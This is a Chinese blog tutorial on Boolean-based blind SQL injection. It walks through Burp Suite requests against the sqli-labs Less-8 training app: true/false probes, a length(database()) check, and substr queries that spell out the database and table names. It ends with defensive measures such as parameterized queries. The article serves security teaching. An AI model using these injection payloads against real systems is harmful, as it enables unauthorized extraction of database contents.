SQL注入 -- Boolean注入攻击

admin 2024年8月6日20:59:37评论13 views字数 1455阅读4分51秒阅读模式
往期内容
SQL注入 -- Union联合注入漏洞
Boolean注入攻击是一种常见而危险的SQL注入技巧,本文将深入讨论这一攻击类型,并提供详细的代码案例来帮助读者更好地理解和防御这种威胁。
一、什么是Boolean注入攻击?
Boolean注入攻击是一种SQL注入攻击的变体,攻击者试图通过向应用程序提交恶意输入来绕过输入验证并执行SQL查询。该攻击的名称来源于其利用布尔逻辑运算的方式,攻击者根据应用程序的响应,逐渐猜测数据库查询中的真假条件,从而获取敏感数据。
在Boolean注入攻击中,攻击者通常通过观察应用程序在查询出现错误时的不同响应来获取信息。如果应用程序的错误消息或行为发生了变化,攻击者可以确定他们的注入是否成功,进而逐步构造有效的注入攻击。
二、构造Boolean注入攻击
1、通过BurpSuite抓包,并发送到repeater模块

SQL注入 -- Boolean注入攻击

2、正常返回的数据如下

SQL注入 -- Boolean注入攻击

3、构造让程序报错的语句
GET /sqli/Less-8/?id=1'+and+1=1--+ HTTP/1.1GET /sqli/Less-8/?id=1'+and+1=2--+ HTTP/1.1

SQL注入 -- Boolean注入攻击

SQL注入 -- Boolean注入攻击

4、构造sql语句判断数据库名称的长度,当长度大于等于的是偶报错,所以该数据库名的长度为8。
GET /sqli/Less-8/?id=1'+and+length(database())>=9--+ HTTP/1.1

SQL注入 -- Boolean注入攻击

5、构造sql语句查询数据库的名字
判断数据库的第一个字符是否为‘s’
GET /sqli/Less-8/?id=1'+and+substr(database(),1,1)='s'--+ HTTP/1.1

SQL注入 -- Boolean注入攻击

判断数据库的第一个字符是否为‘e’
GET /sqli/Less-8/?id=1'+and+substr(database(),2,1)='e'--+ HTTP/1.1

SQL注入 -- Boolean注入攻击

最终得到数据库的名字为:security
6、构造sql语句查询表名
GET /sqli/Less-8/?id=1'+and+substr((select+table_name+from+information_schema.tables+where+table_schema='security'+limit+0,1),1,1)='e'--+ HTTP/1.1

SQL注入 -- Boolean注入攻击

7、以此类推获取所有的表名,字段及内容获取方式查看上节课内容
SQL注入 -- Union联合注入漏洞
三、防御Boolean注入攻击
要防御Boolean注入攻击,开发人员应采取以下措施:
使用参数化查询:使用参数化查询可以有效防止SQL注入攻击,因为参数值会被数据库驱动程序正确转义,而不是将其视为SQL代码的一部分。
严格验证和过滤输入:在接受用户输入之前,应用程序应对输入进行验证和过滤,确保只接受有效的数据。例如,只允许字母字符、数字和特定的符号。
最小权限原则:数据库用户应该被分配最小必要的权限,以限制攻击者对数据库的访问。
错误消息处理:应用程序不应该向用户返回详细的错误消息,而应该将其记录下来,并提供一般性的错误提示。这可以减少攻击者获取有关数据库结构的信息的机会。
结论
Boolean注入攻击是一种常见的SQL注入攻击类型,攻击者利用布尔逻辑运算来逐步构造有效的注入。开发人员应该采取适当的防御措施,如使用参数化查询、验证和过滤输入以及最小权限原则,来保护应用程序免受这种威胁的影响。只有通过持续的安全意识培训和漏洞扫描,才能有效地减少SQL注入攻击的风险。

原文始发于微信公众号(Web安全工具库):SQL注入 -- Boolean注入攻击

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年8月6日20:59:37
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   SQL注入 -- Boolean注入攻击http://cn-sec.com/archives/2001746.html

发表评论

匿名网友 填写信息